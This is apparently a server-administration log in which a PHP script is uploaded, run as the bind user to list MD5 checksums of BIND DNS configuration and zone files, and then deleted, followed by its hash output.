MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-29 16:01:11: Establishing a connection
2026-04-29 16:01:29: Establishing a connection
2026-04-29 16:01:29: 

PUT: /tmp/pkp127502

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-29 16:01:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp127502; rm /tmp/pkp127502'

2026-04-29 16:01:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
